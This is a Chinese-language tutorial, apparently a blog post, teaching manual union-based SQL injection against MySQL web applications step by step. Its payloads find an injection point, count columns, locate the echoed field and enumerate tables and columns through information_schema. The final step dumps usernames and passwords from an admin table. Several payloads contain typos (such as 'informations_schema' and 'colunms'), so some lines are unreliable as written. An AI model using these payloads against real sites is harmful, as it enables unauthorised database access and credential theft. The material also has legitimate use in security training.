网上有很多关于sql手工注入的教程,但是貌似都不够细,所以今天想写下关于sql手工注入的具体思路,具体以mysql数据库为例。
话不多说,首先请不管出于什么目的想要阅读本篇文章的童鞋先阅读一下下面这个:
问心:《中华人民共和国网络安全法》全文zhuanlan.zhihu.com好,接下来进入正题:
sql手工注入流程:
以URL: example.com/id=1 为例
1、判断是否存在注入点(即web网站是否存在sql注入漏洞)
1)手注:在原url后输入 and 1=1
服务端对应的sql语句为:select * from table where id=1 and 1=1
2)手注:在原url后输入 and 1=2
服务端对应的sql语句为:select * from table where id=1 and 1=2
若存在注入点:则第一个返回页面正常,第二个返回页面有变化
2、判断table中的列数
1)手注:在原url后输入 and 1=1 order by 1
服务端对应的sql语句为:select * from table where id=1 and 1=1 order by 1
order by N 语句是按照第N列进行排序,若存在该列,则返回结果为真,若不存在该列,则返回结果异常(或不显示)
2)手注:在原url后输入 and 1=1 order by 2/3/4 依次类推,直到返回为假
假设列数为2列
3、判断回显位置
首先说一下回显的概念:你在web上访问一个网站时,并不是所有信息都会反馈到屏幕上,显示的信息即回显;数据库中同理,并不是你所有的select语句都会将结果显示在屏幕上。
因此,我们为了能够在屏幕上看到我们输入的select语句的结果反馈,需要判断回显位置。
在原url后输入 and 1=2 union select1,2
union语句是联合查询的意思,联合即有两个单独的select语句合并成一句,它有个特性,如果前半句为假,则只执行后半句;
让我们来看各个这句对应的完整sql语句:select * from table where id=1 and 1=2 union select 1,2 from table;
这里由于前半句1=2为假,所以我们成功的执行了后半句,也就是我们实际想要执行的select语句;
由上面第2步,我们知道了这个table中只有2列,所以我们用select 1,2 from table 来查询这两列,这里面涉及到了数据库另一个特性,我们正常查询数据库都是用列名即属性去去查询,返回具体的记录;
这里我们直接将列名变为了数字1,2(实际上可以任意写 写成100,200也都行),返回的结果也会是1,2;
而当只返回一个值时,即该列为回显位置。
假设回显点为2
4、查看数据库名
手注:在原url后输入 and 1=2 union select1,database()
这里我们看到我在union后的select语句中将2替换成了database(),因为原来的2处是回显点,所以我们要在此处查询我们实际想要的信息。
假设获取到数据库名为test
5、查看数据库版本信息
手注:在原url后输入 and 1=2 union select1,version()
这一步是为了判断数据库版本,从而可以搜索一下相关的漏洞或特性
6、查看数据库表名
前面都是准备工作,这一步开始,正式要获取我们想要的数据库中的敏感信息
手注:在原url后输入 and 1=2 union select 1,table_name from informations_schema.tables where table_schema = 'test' limit 0,1
这下感觉可能有些懵是吧,建议大家自己搭个mysql数据库环境,进去看一下,就明白了;
简单说下,informations_schema是一个mysql的内置库,里面包含了所有用户使用过程中建的数据库的信息,包括表信息,列信息等;你可以理解成informations_schema是个总数据库,包含了所有信息;
informations_schema.tables即informations_schema库中的tables表,这个表中包含了其他所有表信息;
我们在这个informations_schema.tables表中,查询数据库名为’test‘的所有表信息,并逐行显示,每次仅显示1行(即 limit 0,1);
也就是说我们的目的是查看当前数据库(’test‘)中存在的所有表信息;
我们想要的表信息未必会一次就拿到,所以之后会用limit1,1;limit2,1,逐次去查询每一张表;
假设获取到admin这张表(一般用户名和密码都存于这张表)
7、查询admin表中的字段名
手注:在原url后输入 and 1=2 union select 1,columns_name from information_schema.colunms where table_schema='test' and table_name='admin' limit 0,1
原理同上一步,information_schema.colunms 中存有所有列信息;
我们查找的是’test‘库中,’admin‘这张表的所有列信息;
逐次查询后,假设我们获得了username和password字段;
8、脱裤操作
查询对应的用户名和密码
手注:在原url后输入 and 1=2 union select 1,username from admin limit0,1
and 1=2 union select 1,password from admin limit0,1
大功告成!
这只是最基础的sql回显注入,更高深的我也不会啦!
最后的最后,请再看一遍开头的内容!